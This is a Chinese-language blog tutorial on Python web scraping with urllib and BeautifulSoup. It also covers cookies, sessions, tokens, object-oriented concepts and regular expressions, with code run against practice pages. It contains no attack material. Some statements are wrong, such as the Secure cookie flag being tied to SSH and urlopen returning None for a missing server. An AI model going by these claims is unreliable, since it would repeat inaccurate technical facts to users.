所谓的客户端就是我们自己的本地电脑,当我们使用自己的电脑通过浏览器进行访问网页的时候,服务器就会生成一个证书并返回给我的浏览器并写入我们的本地电脑,这个证书就是Cookie

HTTP协议本身是无状态的(即服务器无法判断用户身份),客户端向服务器发起请求,如果服务器需要记录该用户状态,就使用 response 向客户端浏览器颁发一个Cookie,客户端浏览器会把Cookie保存起来,当浏览器再请求该网站时,浏览器把请求的网址连同该Cookie一同提交给服务器(添加到请求头中),服务器检查该Cookie,以此来辨认用户状态

属性项 属性项介绍
NAME=VALUE 键值对,可以设置要保存的 Key/Value,注意这里的 NAME 不能和其他属性项的名字一样
Expires 过期时间,在设置的某个时间点后该 Cookie 就会失效
Domain 生成该 Cookie 的域名,如 domain=”www.baidu.com
Path 该 Cookie 是在当前的哪个路径下生成的,如 path=/wp-admin/
Secure 如果设置了这个属性,那么只会在 SSH 连接时才会回传该 Cookie

PS:Session

Session是服务器为了保存用户状态而创建的一个特殊的对象(Session对象,用于储存特定的用户会话所需的信息)

当浏览器第一次访问服务器时,服务器创建一个 Session对象(该对象有一个唯一的ID,一般称之为SessionID),服务器会将 SessionID 以 Cookie 的方式发送给浏览器,当浏览器再次访问服务器时,会将 SessionID 发送过来,服务器依据 SessionID 就可以找到对应的 Session对象

服务器会向客户发送一个名为 JSESSIONID 的 Cookie ,它的值为该Session的ID,用于判断是否为同一用户

PS:Token

Token,又称令牌,其实就是一种验证机制(和Cookie-Session效果类似)

用户请求登录时,服务器后端会生成一个 Token 存储于 Redis 数据库中(临时存放),然后把该 Token 返回到前端最终交给客户端,接下来用户再次请求时便会携带 Token 发送给服务器,服务器再去效验 Token 的正确性

网络浏览器&爬虫原理

网络浏览器是一个非常有用的应用,它创建信息的数据包,发送它们,然后把你获取的数据解释成漂亮的图像、声音、视频和文字

但是,网络浏览器就是代码,而代码是可以分解的,可以分解成许多基本组件,可重写、重用,以及做成我们想要的任何东西

网络浏览器可以让服务器发送一些数据,到那些对接无线(或有线)网络接口的应用上, 但是许多语言也都有实现这些功能的库文件

也就是说,其他的编程语言也可以模仿浏览器的行为,从而向服务器请求数据,这便是网络爬虫的原理

让我们看看 Python 是如何实现的:

1
2
3
4
from urllib.request import urlopen

html = urlopen("https://ywhkkx.github.io/")
print(html.read())
1
2
C:\Users\ywx813\anaconda3\python.exe D:/PythonProject/Crawler/test.py
b'<!DOCTYPE html>\n<html lang="en">\n<head>\n <meta charset="UTF-8">\n<meta name="viewport" content="width=device-width, initial-scale=......script src="/js/next-boot.js"></script>\n\n\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n \n\n</body>\n</html>\n'

这将会输出 https://ywhkkx.github.io/ 这个网页的全部 HTML 代码,更准确地说,这会输出在域名为 ywhkkx.github.io 的 github 服务器上文件夹里的 HTML 文件的源代码

现在大多数网页需要加载许多相关的资源文件:可能是图像文件、JavaScript 文件、CSS 文件,或你需要连接的其他各种网页内容

当网络浏览器遇到一个标签时,比如 <img src="cuteKitten.jpg"> ,会向服务器发起另一个请求,以获取 cuteKitten.jpg 文件中的数据为用户充分渲染网页,但是,我们的 Python 程序没有返回并向服务器请求多个文件的逻辑,它只能读取我们已经请求的单个 HTML 文件,不过 Python 有对付的办法:

1
from urllib.request import urlopen

urllib 是 Python 的标准库,包含了从网络请求数据,处理 cookie,甚至改变像请求头和用户代理这些元数据的方法

urlopen 用来打开并读取一个从网络获取的远程对象,因为它是一个非常通用的库(它可以轻松读取 HTML 文件、图像文件,或其他任何文件流),所以我们将在本书中频繁地使用它

BeautifulSoup简介

BeautifulSoup 尝试化平淡为神奇,它通过定位 HTML 标签来格式化和组织复杂的网络信息,用简单易用的 Python 对象为我们展现 XML 结构信息

1
2
3
4
5
6
from urllib.request import urlopen
from bs4 import BeautifulSoup

html = urlopen("https://ywhkkx.github.io/")
bsObj = BeautifulSoup(html.read(),"html.parser")
print(bsObj.h1) # 这里只要求显示"h1"
1
2
C:\Users\ywx813\anaconda3\python.exe D:/PythonProject/Crawler/test.py
<h1 class="site-title">Pwn进你的心</h1>

可以发现 BeautifulSoup 把原本的“杂乱无章”变成了“井井有条”

和前面例子一样,我们导入 urlopen,然后调用 html.read() 获取网页的 HTML 内容,这样就可以把 HTML 内容传到 BeautifulSoup 对象,转换成更加易读的结构,其实,任何 HTML(或 XML)文件的任意节点信息都可以被提取出来,只要目标信息的旁边或附近有标记就行

“可靠”的网络连接

网络是十分复杂的,网页数据格式不友好,网站服务器宕机,目标数据的标签找不到,都是很麻烦的事情

让我们看看爬虫 import 语句后面的第一行代码,如何处理那里可能出现的异常:

1
html = urlopen("https://ywhkkx.github.io/")

这行代码主要可能会发生两种异常:

  • 网页在服务器上不存在(或者获取页面的时候出现错误)
  • 服务器不存在

第一种异常发生时,程序会返回 HTTP 错误,HTTP 错误可能是 “404 Page Not Found” ,“500 Internal Server Error” 等,所有类似情形,urlopen 方法抛出“HTTPError”异常,我们可以用下面的方式处理这种异常:

1
2
3
4
5
try:
html = urlopen("https://ywhkkx.github.io/")
except HTTPError as e:
print(e)
else:

第一种异常发生时(服务器不存在),urlopen 会返回一个 None 对象,这个对象与其他编程语言中的 null 类似,我们可以增加一个判断语句检测返回的 html 是不是 None

1
2
3
if html is None:
print("URL is not found")
else:

当然,即使网页已经从服务器成功获取,如果网页上的内容并非完全是我们期望的那样,仍然可能会出现异常,每当你调用 BeautifulSoup 对象里的一个标签时,增加一个检查条件保证标签确实存在是很聪明的做法

如果你想要调用的标签不存在,BeautifulSoup 就会返回 None 对象,不过,如果再调用这个 None 对象下面的子标签,就会发生 AttributeError 错误

比如下段代码:(nonExistentTag 是虚拟的标签,BeautifulSoup 对象里实际没有)

1
print(bsObj.nonExistentTag.someTag) 
1
AttributeError: 'NoneType' object has no attribute 'someTag'

那么我们怎么才能避免这两种情形的异常呢?最简单的方式就是对两种情形进行检查:

1
2
3
4
5
6
7
8
9
try:
badContent = bsObj.nonExistingTag.anotherTag
except AttributeError as e:
print("Tag was not found")
else:
if badContent == None:
print ("Tag was not found")
else:
print(badContent)

初看这些检查与错误处理的代码会觉得有点儿累赘,但是,我们可以重新简单组织一下代码,让它变得不那么难写(更重要的是,不那么难读),例如,下面的代码是上面爬虫的另一种写法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from urllib.request import urlopen
from urllib.error import HTTPError
from bs4 import BeautifulSoup

def getTitle(url):
try:
html = urlopen(url) # 尝试获取html
except HTTPError as e: # 如果发生"HTTP错误"则返回None
return None
try:
bsObj = BeautifulSoup(html.read(),"html.parser") # 尝试利用BeautifulSoup解析html
title = bsObj.body.h1
except AttributeError as e: # 如果"没有获取到目标标签"则返回None
return None
return title

title = getTitle("https://ywhkkx.github.io/")
if title == None:
print("Title could not be found")
else:
print(title)
1
2
C:\Users\ywx813\anaconda3\python.exe D:/PythonProject/Crawler/test.py
<h1 class="site-title">Pwn进你的心</h1>

在写爬虫的时候,思考代码的总体格局,让代码既可以捕捉异常又容易阅读,这是很重要的,如果你还希望能够很大程度地重用代码,那么拥有像 getSiteHTML 和 getTitle 这样的 通用函数(具有周密的异常处理功能)会让快速稳定地网络数据采集变得简单易行

通过属性查找标签

每个网站都会有层叠样式表(Cascading Style Sheet,CSS)

CSS 是专门为了让浏览器和人类可以理解网站内容而设计一个展现样式的层,但是 CSS 的发明却是网络爬虫的福音

CSS 可以让 HTML 元素呈现出差异化,使那些具有完全相同修饰的元素呈现出不同的样式,比如,有一些标签看起来是这样:

1
2
<span class="green"></span>
<span class="red"></span>

网络爬虫可以通过 class 属性的值,轻松地区分出两种不同的标签,如果我们想根据 class 属性来爬取需要的内容,就可以用到 findAll 方法

先看看目标网页:https://www.pythonscraping.com/pages/warandpeace.html

它的 html 结构很是简单,寻找 class 很是方便,我们可以用以下代码来爬取绿色字体的内容:

1
2
3
4
5
6
7
8
9
from urllib.request import urlopen
from bs4 import BeautifulSoup

html = urlopen("https://www.pythonscraping.com/pages/warandpeace.html")
bsObj = BeautifulSoup(html,"html.parser")

namelist = bsObj.findAll("span",{"class":"green"}) # Python字典 - {"A":"B"}
for name in namelist:
print(name.get_text()) # get_text():把你正在处理的HTML文档中所有的标签都清除,返回一个只包含文字的字符串
1
2
3
4
5
6
7
8
C:\Users\ywx813\anaconda3\python.exe D:/PythonProject/Crawler/test.py
Anna
Pavlovna Scherer
Empress Marya
Fedorovna
Prince Vasili Kuragin
Anna Pavlovna
......

BeautifulSoup 里的 find() 和 findAll() 可能是你最常用的两个方法,借助它们,你可以通过标签的不同属性轻松地过滤 HTML 页面,查找需要的标签组或单个标签

1
2
findAll(tag, attributes, recursive, text, limit, keywords)
find(tag, attributes, recursive, text, keywords)
  • tag:标签参数,可以传一个标签的名称或多个标签名称组成的Python列表做标签参数
  • attributes:属性参数,用一个Python字典封装一个标签的若干属性和对应的属性值
  • recursive:递归参数,这是一个布尔变量,设置为True,表示去查找目标标签中所有的子标签,设置为False,表示只查找一级标签(recursive默认为True)
  • text:文本参数,查找文本的内容(它是用标签的文本内容去匹配,而不是用标签的属性)
1
2
nameList = bsObj.findAll(text="the prince") # 查找"the prince",返回所有的目标
print(len(nameList)) # 结果为"7"
  • limit:限制参数,只用于 findAll 方法,find 其实等价于 findAll 的 limit 等于 1 时的情形,如果你只对网页中获取的前 x 项结果感兴趣,就可以设置它,但是要注意,这个参数设置之后,获得的前几项结果是按照网页上的顺序排序的,未必是你想要的那前几项
  • keyword:关键词参数,让你选择那些具有指定属性的标签(这是一个冗余的参数)
1
2
allText = bsObj.findAll(id="text")
print(allText[0].get_text())

PS:面向对象

面向对象(Object Oriented)是软件开发方法,一种编程范式,面向对象是一种对现实世界理解和抽象的方法,是计算机编程技术发展到一定阶段后的产物

通过面向对象的方式,将现实世界的事物抽象成对象,现实世界中的关系抽象成类、继承,帮助人们实现对现实世界的抽象与数字建模

面向对象是在结构化设计方法出现很多问题的情况下应运而生的

PS:结构化设计方法求解问题的基本策略是 从功能的角度审视问题域 ,它将应用程序看成实现某些特定任务的 功能模块 ,其中子过程是实现某项具体操作的底层功能模块,在每个功能模块中,用 数据结构描述待处理数据的组织形式,用算法描述具体的操作过程(把C语言的函数往里面套,可以方便理解)

面向对象的几大要数:

一,审视问题域的视角

  • 在现实世界中存在的客体是问题域中的主角(所谓客体是指客观存在的对象实体和主观抽象的概念),在自然界,每个客体都具有一些 属性和行为 ,因此, 每个个体都可以用属性和行为来描述(比如:IO_FILE文件系统中,就是用FILE结构体来描述整个文件)
  • 结构化设计方法所采用的设计思路不是将客体作为一个整体,而是将依附于客体之上的行为抽取出来,以功能为目标来设计构造应用系统

二,抽象级别

  • 抽象主要包括过程抽象和数据抽象(结构化设计方法应用的是过程抽象)
  • 过程抽象:是将问题域中具有明确功能定义的操作抽取出来,并将其作为一个实体看待(比如C语言的函数)
  • 数据抽象:数据抽象是较过程抽象更高级别的抽象方式,将描述客体的属性和行为绑定在一起,实现统一的抽象,从而达到对现实世界客体的真正模拟(说实话,这句话讲的也挺抽象的,不过看看上文中“BeautifulSoup”方法返回的那个“bsObj”,Python支持直接在它的身上使用函数,那么就可以把“bsObj”理解为某种抽象了)

三,封装体

  • 封装是指将现实世界中存在的某个客体的属性与行为绑定在一起,并放置在一个逻辑单元内, 该逻辑单元负责将所描述的属性隐藏起来,外界对客体内部属性的所有访问只能通过提供的用户接口实现(还是上文中提及的那个“bsObj”,它就是一个分装体)
  • 结构化设计方法没有做到客体的整体封装,只是封装了各个功能模块,而每个功能模块可以随意地对没有保护能力客体属性实施操作,并且由于描述属性的数据与行为被分割开来,所以一旦某个客体属性的表达方式发生了变化,或某个行为效果发生了改变,就有可能对整个系统产生影响(想想C语言的函数,好像的确是这样)

四,可重用性

  • 可重用性标识着软件产品的可复用能力,是衡量一个软件产品成功与否的重要标志

面向对象的几大概念:

  • 对象:对象所指的是计算机系统中的某一个成分,它有两个含义:其中一个是数据,另外一个是动作,可以说对象则是数据和动作的结合体,对象不仅能够进行操作,同时还能够及时记录下操作结果
  • 方法:方法是指对象能够进行的操作(方法同时还有另外一个名称:函数),方法是类中的定义函数,其具体的作用就是对对象进行描述操作
  • 继承:继承简单地说就是一种层次模型,这种层次模型能够被重用,层次结构的上层具有通用性,但是下层结构则具有特殊性,在继承的过程中类则可以从最顶层的部分继承一些方法和变量(继承是从一般演绎到特殊的过程,可以减少知识表示的冗余内容,知识库的维护和修正都非常方便,更有利于衍生复杂的系统)
  • 类:类是具有相同特性(数据元素)和行为(功能)的对象的抽象(因此,对象的抽象是类,类的具体化就是对象,也可以说类的实例是对象),类实际上就是一种数据类型,类具有属性,它是对象的状态的抽象,用数据结构来描述类的属性
  • 封装:封装是将数据和代码捆绑到一起,对象的某些数据和代码可以是私有的,不能被外界访问,以此实现对数据和代码不同级别的访问权限
  • 多态:多态是指不同事物具有不同表现形式的能力,多态机制使具有不同内部结构的对象可以共享相同的外部接口,通过这种方式减少代码的复杂度(一个接口,多种方式)
  • 动态绑定:动态绑定指的是将一个过程调用与相应代码链接起来的行为,动态绑定是指与给定的过程调用相关联的代码只有在运行期才可知的一种绑定,它是多态实现的具体形式
  • 消息传递:对象之间需要相互沟通,沟通的途径就是对象之间收发信息,消息内容包括接收消息的对象的标识,需要调用的函数的标识,以及必要的信息,消息传递的概念使得对现实世界的描述更容易

导航树

HTML 页面可以映射成一棵树

在 BeautifulSoup 库里,孩子(child)和后代(descendant)有显著的不同:和人类的家谱一样,子标签就是一个父标签的下一级,而后代标签是指一个父标签下面所有级别的标签

一般情况下,BeautifulSoup 函数总是处理当前标签的后代标签(例如,bsObj.body.h1 选择了 body 标签后代里的第一个 h1 标签,不会去找 body 外面的标签)

接下来介绍几个标签处理的方法:

如果你只想找出子标签,可以用 .children(程序默认选择 .children)

1
2
3
4
5
6
7
8
from urllib.request import urlopen
from bs4 import BeautifulSoup

html = urlopen("http://www.pythonscraping.com/pages/page3.html")
bsObj = BeautifulSoup(html,"html.parser")

for child in bsObj.find("table",{"id":"giftList"}).children:
print(child)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
C:\Users\ywx813\anaconda3\python.exe D:/PythonProject/Crawler/test.py


<tr><th> /* 打印<tr>(内容为<th>) */
Item Title
</th><th>
Description
</th><th>
Cost
</th><th>
Image
</th></tr>


<tr class="gift" id="gift1"><td> /* 打印<tr>(内容为<td>) */
Vegetable Basket
</td><td>
This vegetable basket is the perfect gift for your health conscious (or overweight) friends!
<span class="excitingNote">Now with super-colorful bell peppers!</span>
</td><td>
$15.00
</td><td>
<img src="../img/gifts/img1.jpg"/>
</td></tr>


<tr class="gift" id="gift2"><td>
Russian Nesting Dolls
</td><td>
Hand-painted by trained monkeys, these exquisite dolls are priceless! And by "priceless," we mean "extremely expensive"! <span class="excitingNote">8 entire dolls per set! Octuple the presents!</span>
</td><td>
$10,000.52
</td><td>
<img src="../img/gifts/img2.jpg"/>
</td></tr>


<tr class="gift" id="gift3"><td>
Fish Painting
</td><td>
If something seems fishy about this painting, it's because it's a fish! <span class="excitingNote">Also hand-painted by trained monkeys!</span>
</td><td>
$10,005.00
</td><td>
<img src="../img/gifts/img3.jpg"/>
</td></tr>


<tr class="gift" id="gift4"><td>
Dead Parrot
</td><td>
This is an ex-parrot! <span class="excitingNote">Or maybe he's only resting?</span>
</td><td>
$0.50
</td><td>
<img src="../img/gifts/img4.jpg"/>
</td></tr>


<tr class="gift" id="gift5"><td>
Mystery Box
</td><td>
If you love suprises, this mystery box is for you! Do not place on light-colored surfaces. May cause oil staining. <span class="excitingNote">Keep your friends guessing!</span>
</td><td>
$1.50
</td><td>
<img src="../img/gifts/img6.jpg"/>
</td></tr>



进程已结束,退出代码 0

直观来看,下图中的标签就是“giftList”的子标签,程序就打印了对应几个 <tr> 框架

采用 .descendants,则可以打印所有后代标签

1
2
3
4
5
6
7
8
from urllib.request import urlopen
from bs4 import BeautifulSoup

html = urlopen("http://www.pythonscraping.com/pages/page3.html")
bsObj = BeautifulSoup(html,"html.parser")

for child in bsObj.find("table",{"id":"giftList"}).descendants:
print(child)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
C:\Users\ywx813\anaconda3\python.exe D:/PythonProject/Crawler/test.py


<tr><th> /* 打印<tr> */
Item Title
</th><th>
Description
</th><th>
Cost
</th><th>
Image
</th></tr>
<th> /* 打印<th> */
Item Title
</th>

Item Title /* 打印<th>框架中的内容 */

<th>
Description
</th>

Description

<th>
Cost
</th>

Cost

<th>
Image
</th>

Image



<tr class="gift" id="gift1"><td> /* 打印<tr> */
Vegetable Basket
</td><td>
This vegetable basket is the perfect gift for your health conscious (or overweight) friends!
<span class="excitingNote">Now with super-colorful bell peppers!</span>
</td><td>
$15.00
</td><td>
<img src="../img/gifts/img1.jpg"/>
</td></tr>
<td> /* 打印<td> */
Vegetable Basket
</td>

Vegetable Basket /* 打印<td>框架中的内容 */

<td> /* 打印<td> */
This vegetable basket is the perfect gift for your health conscious (or overweight) friends!
<span class="excitingNote">Now with super-colorful bell peppers!</span>
</td>

This vegetable basket is the perfect gift for your health conscious (or overweight) friends! /* 打印<td>框架中的内容 */

<span class="excitingNote">Now with super-colorful bell peppers!</span>
Now with super-colorful bell peppers!


<td> /* 打印<td> */
$15.00 /* 打印<td>框架中的内容 */
</td>

$15.00

<td>
<img src="../img/gifts/img1.jpg"/>
</td>


<img src="../img/gifts/img1.jpg"/>




<tr class="gift" id="gift2"><td>
Russian Nesting Dolls
</td><td>
Hand-painted by trained monkeys, these exquisite dolls are priceless! And by "priceless," we mean "extremely expensive"! <span class="excitingNote">8 entire dolls per set! Octuple the presents!</span>
</td><td>
$10,000.52
</td><td>
<img src="../img/gifts/img2.jpg"/>
</td></tr>
<td>
Russian Nesting Dolls
</td>

Russian Nesting Dolls

<td>
Hand-painted by trained monkeys, these exquisite dolls are priceless! And by "priceless," we mean "extremely expensive"! <span class="excitingNote">8 entire dolls per set! Octuple the presents!</span>
</td>

Hand-painted by trained monkeys, these exquisite dolls are priceless! And by "priceless," we mean "extremely expensive"!
<span class="excitingNote">8 entire dolls per set! Octuple the presents!</span>
8 entire dolls per set! Octuple the presents!


<td>
$10,000.52
</td>

$10,000.52

<td>
<img src="../img/gifts/img2.jpg"/>
</td>


<img src="../img/gifts/img2.jpg"/>




<tr class="gift" id="gift3"><td>
Fish Painting
</td><td>
If something seems fishy about this painting, it's because it's a fish! <span class="excitingNote">Also hand-painted by trained monkeys!</span>
</td><td>
$10,005.00
</td><td>
<img src="../img/gifts/img3.jpg"/>
</td></tr>
<td>
Fish Painting
</td>

Fish Painting

<td>
If something seems fishy about this painting, it's because it's a fish! <span class="excitingNote">Also hand-painted by trained monkeys!</span>
</td>

If something seems fishy about this painting, it's because it's a fish!
<span class="excitingNote">Also hand-painted by trained monkeys!</span>
Also hand-painted by trained monkeys!


<td>
$10,005.00
</td>

$10,005.00

<td>
<img src="../img/gifts/img3.jpg"/>
</td>


<img src="../img/gifts/img3.jpg"/>




<tr class="gift" id="gift4"><td>
Dead Parrot
</td><td>
This is an ex-parrot! <span class="excitingNote">Or maybe he's only resting?</span>
</td><td>
$0.50
</td><td>
<img src="../img/gifts/img4.jpg"/>
</td></tr>
<td>
Dead Parrot
</td>

Dead Parrot

<td>
This is an ex-parrot! <span class="excitingNote">Or maybe he's only resting?</span>
</td>

This is an ex-parrot!
<span class="excitingNote">Or maybe he's only resting?</span>
Or maybe he's only resting?


<td>
$0.50
</td>

$0.50

<td>
<img src="../img/gifts/img4.jpg"/>
</td>


<img src="../img/gifts/img4.jpg"/>




<tr class="gift" id="gift5"><td>
Mystery Box
</td><td>
If you love suprises, this mystery box is for you! Do not place on light-colored surfaces. May cause oil staining. <span class="excitingNote">Keep your friends guessing!</span>
</td><td>
$1.50
</td><td>
<img src="../img/gifts/img6.jpg"/>
</td></tr>
<td>
Mystery Box
</td>

Mystery Box

<td>
If you love suprises, this mystery box is for you! Do not place on light-colored surfaces. May cause oil staining. <span class="excitingNote">Keep your friends guessing!</span>
</td>

If you love suprises, this mystery box is for you! Do not place on light-colored surfaces. May cause oil staining.
<span class="excitingNote">Keep your friends guessing!</span>
Keep your friends guessing!


<td>
$1.50
</td>

$1.50

<td>
<img src="../img/gifts/img6.jpg"/>
</td>


<img src="../img/gifts/img6.jpg"/>





进程已结束,退出代码 0

可以发现,程序不仅打印了对应几个 <tr> 框架,并且把其后代标签的框架与内容也打印了出来

处理兄弟标签

BeautifulSoup 的 next_siblings() 函数可以让收集表格数据成为简单的事情,尤其是处理带标题行的表格:

1
2
3
4
5
6
7
8
from urllib.request import urlopen
from bs4 import BeautifulSoup

html = urlopen("http://www.pythonscraping.com/pages/page3.html")
bsObj = BeautifulSoup(html,"html.parser")

for sibling in bsObj.find("table",{"id":"giftList"}).tr.next_siblings:
print(sibling)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
C:\Users\ywx813\anaconda3\python.exe D:/PythonProject/Crawler/test.py


<tr class="gift" id="gift1"><td>
Vegetable Basket
</td><td>
This vegetable basket is the perfect gift for your health conscious (or overweight) friends!
<span class="excitingNote">Now with super-colorful bell peppers!</span>
</td><td>
$15.00
</td><td>
<img src="../img/gifts/img1.jpg"/>
</td></tr>


<tr class="gift" id="gift2"><td>
Russian Nesting Dolls
</td><td>
Hand-painted by trained monkeys, these exquisite dolls are priceless! And by "priceless," we mean "extremely expensive"! <span class="excitingNote">8 entire dolls per set! Octuple the presents!</span>
</td><td>
$10,000.52
</td><td>
<img src="../img/gifts/img2.jpg"/>
</td></tr>


<tr class="gift" id="gift3"><td>
Fish Painting
</td><td>
If something seems fishy about this painting, it's because it's a fish! <span class="excitingNote">Also hand-painted by trained monkeys!</span>
</td><td>
$10,005.00
</td><td>
<img src="../img/gifts/img3.jpg"/>
</td></tr>


<tr class="gift" id="gift4"><td>
Dead Parrot
</td><td>
This is an ex-parrot! <span class="excitingNote">Or maybe he's only resting?</span>
</td><td>
$0.50
</td><td>
<img src="../img/gifts/img4.jpg"/>
</td></tr>


<tr class="gift" id="gift5"><td>
Mystery Box
</td><td>
If you love suprises, this mystery box is for you! Do not place on light-colored surfaces. May cause oil staining. <span class="excitingNote">Keep your friends guessing!</span>
</td><td>
$1.50
</td><td>
<img src="../img/gifts/img6.jpg"/>
</td></tr>



进程已结束,退出代码 0

这段代码会打印产品列表里的所有行的产品,第一行表格标题除外

  • 首先,对象不能把自己作为兄弟标签,任何时候你获取一个标签的兄弟标签,都不会包含这个标签本身
  • 其次,这个函数只调用后面的兄弟标签(例如,如果我们选择一组标签中位于中间位置的一个标签,然后用 next_siblings() 函数,那么它就只会返回在它后面的兄弟标签)

因此,选择标签行然后调用 next_siblings,可以选择表格中除了标题行以外的所有行

处理父标签

在抓取网页的时候,查找父标签的需求比查找子标签和兄弟标签要少很多

通常情况 下,如果以抓取网页内容为目的来观察 HTML 页面,我们都是从最上层标签开始的,然 后思考如何定位我们想要的数据块所在的位置,但是,偶尔在特殊情况下你也会用到 BeautifulSoup 的父标签查找函数,parent 和 parents

1
2
3
4
5
6
7
from urllib.request import urlopen
from bs4 import BeautifulSoup

html = urlopen("http://www.pythonscraping.com/pages/page3.html")
bsObj = BeautifulSoup(html,"html.parser")

print(bsObj.find("img",{"src":"../img/gifts/img1.jpg"}).parent.previous_sibling.get_text())
1
2
3
4
5
6
C:\Users\ywx813\anaconda3\python.exe D:/PythonProject/Crawler/test.py

$15.00


进程已结束,退出代码 0

这段代码会打印 ../img/gifts/img1.jpg 这个图片对应商品的价格(previousSibling属性返回:同一树层级中指定节点的前一个节点,刚好就是商品的价格)

PS:正则表达式

正则表达式,可以识别正则字符串(regular string),也就是说,它们可以这么定义:“如果你给我的字符串符合规则,我就返回它,或者是如果字符串不符合规则,我就忽略它”

正则表达式用于匹配一个符合规则的字符串,这在要求快速浏览大文档,以查找像电话号码和邮箱地址之类的字符串时是非常方便的

正则字符串,其实就是任意可以用一系列线性规则构成的字符串:

  • 字母“a”至少出现一次
  • 后面跟着字母“b”重复 5 次
  • 后面再跟字母“c”重复任意偶数次
  • 最后一位是字母“d”,也可以没有

满足上面规则的字符串有:“aaaabbbbbccccd”,“aabbbbbcc”等(有无穷多种变化),而正则表达式就是表达这组规则的缩写,这组规则的正则表达式如下所示:

1
aa*bbbbb(cc)*(d|)
  • aa :a 后面跟着的 `a` 表示“重复任意次 a,包括 0 次”(意思就是a重复任意a次)
  • bbbbb :这没有什么特别的(就是重复 5 次 b)
  • (cc)* :任意偶数个字符都可以编组,这个规则是用括号两个 c,然后后面跟一个星号,表示有 任意次两个 c(也可以是 0 次)
  • (d|) :增加一个竖线(|)在表达式里表示“或”,本例是表示:增加一个后面跟着“\x00”的 d,或者只有一个“\x00”(这样就可以保证字符串结尾为“d”或者“\x00”)

常见的正则表达式:

  • 限定符

    • ?(问号):表示符号前的字符需要出现0次或1次
    • *(星号):表示符号前的字符可以出现0次或多次
    • +(加号):表示符号前的字符可以出现1次或多次
    • {n,m}(花括号):表示符号前面的字符需要出现n~m次
    • 注意:当需要对多个字符进行操作时,可以先把字符括起来,然后在后面添加限定符
  • 或运算符

    • a (n|m):程序会先去匹配“a+空格”,然后要么匹配“n”,要么匹配“m”
  • 字符类

    • [ … ](方括号):方括号中的内容可以很灵活,可以是单个字母,也可以用 “-” 来指定范围
    • ^ (尖号,脱字符):只能在方括号内部使用,表示把所写入的内容除外
  • 元字符

    • \d :代表数字字符(相当于[0 - 9])
    • \w :代表单词字符
    • \s :代表空白字符(包括Tab字符,换行字符)
    • \D :代表非数字字符(相当于[ ^ 0 - 9])
    • \W :代表非单词字符
    • \S :代表非空白字符(包括Tab字符,换行字符)
    • .(句点):代表不包含换行字符的任意字符
    • ^ n:匹配行首的字符“n”
    • n $:匹配行尾的字符“n”

正则表达式中的贪婪匹配和懒惰匹配:

  • 贪婪匹配:“ * ”,“ + ”,“ {} ”,都是默认采用贪婪匹配,它们会尽可能多的匹配字符
  • 懒惰匹配:如果在“ * ”,“ + ”,“ {} ”的后面加“ ? ”,就可以把它们切换为懒惰匹配,它们会尽可能少的匹配字符

通过正则表达式查找标签

在本例中,我们直接通过商品图片的文件路径来查找:

1
2
3
4
5
6
7
8
9
10
from urllib.request import urlopen
from bs4 import BeautifulSoup
import re

html = urlopen("http://www.pythonscraping.com/pages/page3.html")
bsObj = BeautifulSoup(html,"html.parser")
images = bsObj.findAll("img",{"src":re.compile("\.\.\/img\/gifts/img.*\.jpg")})

for image in images:
print(image["src"])

re.compile(),是用来优化正则的,它将正则表达式转化为对象

1
2
3
4
5
6
7
8
C:\Users\ywx813\anaconda3\python.exe D:/PythonProject/Crawler/test.py
../img/gifts/img1.jpg
../img/gifts/img2.jpg
../img/gifts/img3.jpg
../img/gifts/img4.jpg
../img/gifts/img6.jpg

进程已结束,退出代码 0

现在解释一下这个正则表达式的内容:

1
re.compile("\.\.\/img\/gifts/img.*\.jpg")

首先用转义符号索引两个“ . ”,然后用转义符号索引“/img”,“/gifts”,“/img”(其实这里的转义符号可以不加,因为“/”没有什么特殊含义),“ .* ”代表任意字符出现0次或者多次(这里改成“+”也没有什么问题),最后索引“.jpg”

获取标签的属性

在网络数据采集时你经常不需要查找标签的内容,而是需要查找标签属性,对于一个标签对象,可以用下面的代码获取它的全部属性:(要注意这行代码返回的是一个 Python 字典对象,可以获取和操作这些属性)

1
myTag.attrs
1
2
3
4
5
6
7
from urllib.request import urlopen
from bs4 import BeautifulSoup

html = urlopen("http://www.pythonscraping.com/pages/page3.html")
bsObj = BeautifulSoup(html,"html.parser")

print(bsObj.img.attrs)
1
2
3
4
C:\Users\ywx813\anaconda3\python.exe D:/PythonProject/Crawler/test.py
{'src': '../img/gifts/logo.jpg', 'style': 'float:left;'}

进程已结束,退出代码 0

要获取图片的资源位置 src,可以用下面这行代码:

1
myImgTag.attrs["src"]
1
2
3
4
5
6
7
from urllib.request import urlopen
from bs4 import BeautifulSoup

html = urlopen("http://www.pythonscraping.com/pages/page3.html")
bsObj = BeautifulSoup(html,"html.parser")

print(bsObj.img.attrs["src"])
1
2
3
4
C:\Users\ywx813\anaconda3\python.exe D:/PythonProject/Crawler/test.py
../img/gifts/logo.jpg

进程已结束,退出代码 0

遍历单个域名

我们需要先进行一个游戏:维基百科六度分隔理论,是把两个不相干的主题用一个总数不超过六条的主题连接起来

